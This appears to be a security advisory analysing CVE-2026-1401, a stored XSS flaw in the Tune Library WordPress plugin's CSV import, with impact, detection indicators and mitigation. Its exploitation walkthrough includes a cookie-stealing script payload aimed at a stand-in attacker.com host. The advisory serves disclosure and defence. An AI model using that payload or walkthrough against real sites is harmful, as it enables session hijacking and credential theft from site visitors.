CVE-2026-1401: 
WordPress vulnerability analysis and mitigation

CVE-2026-1401 is a Stored Cross-Site Scripting (XSS) vulnerability in the Tune Library plugin for WordPress, affecting all versions up to and including 1.6.3. The flaw arises from insufficient input sanitization and output escaping in the plugin's CSV import functionality, allowing authenticated attackers with Subscriber-level access or higher to inject persistent malicious scripts. The injected scripts execute in the context of any user who visits a page rendered via the [tune-library] shortcode. It was published on February 6, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The CSV import feature in the Tune Library plugin lacks both authorization checks and input sanitization, meaning any authenticated user at the Subscriber level or above can upload a crafted CSV file containing malicious JavaScript payloads. This data is stored in the database without sanitization and later rendered without output escaping when the [tune-library] shortcode is processed on a page. Vulnerable code paths have been identified in tune-library.php (lines 219 and 235) and writeNodes.php (line 113) (Wordfence, WordPress Trac).

Successful exploitation allows an authenticated attacker with minimal privileges (Subscriber-level) to persistently inject arbitrary JavaScript into WordPress pages, affecting all site visitors who load those pages. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, defacement, or delivery of malware to end users. Because the injected script persists in the database and executes for every visitor, the blast radius extends to all users of the affected WordPress site, including administrators (Wordfence).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.032%, indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the low privilege requirement (Subscriber-level) lowers the barrier for exploitation on sites with open user registration (Wordfence, Red Hat CVE).

1. Reconnaissance: Identify WordPress sites running the Tune Library plugin (versions ≤ 1.6.3) using tools like WPScan or by checking publicly accessible plugin metadata.
2. Account acquisition: Register or obtain a Subscriber-level (or higher) account on the target WordPress site, which may be possible if open registration is enabled.
3. Craft malicious CSV: Prepare a CSV file containing a malicious JavaScript payload in a field that will be imported and stored by the plugin (e.g., a song title or attribute field containing <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
4. Import CSV: Log in and use the Tune Library plugin's CSV import functionality to upload the crafted file. Due to missing authorization checks, the import proceeds and stores the unsanitized payload in the database.
5. Trigger execution: The injected script executes automatically in the browser of any user (including administrators) who visits a WordPress page containing the [tune-library] shortcode, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to the Tune Library CSV import endpoint from low-privileged user accounts; repeated imports from the same subscriber account in a short timeframe.
• Database: Presence of <script> tags or JavaScript event handlers (e.g., onerror, onload) in Tune Library database entries (e.g., song titles, attributes).
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages with the [tune-library] shortcode; unusual redirects originating from those pages.
• File System: Unexpected changes to plugin files in wp-content/plugins/tune-library/ if an attacker escalates to file write access after XSS-based admin session hijacking.

At the time of disclosure, no patched version of the Tune Library plugin was available for versions up to and including 1.6.3. Site administrators should consider deactivating and removing the plugin until a patched version is released. As a workaround, disabling open user registration (to prevent untrusted users from obtaining Subscriber accounts) reduces the attack surface. Monitor the WordPress plugin changelog for updates and apply any available patch immediately upon release (Wordfence, WordPress Trac).

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for the period of February 2–8, 2026, noting the missing authorization and sanitization issues in the CSV import feature (Wordfence Blog). No significant broader media coverage or notable researcher commentary beyond the initial Wordfence disclosure has been identified.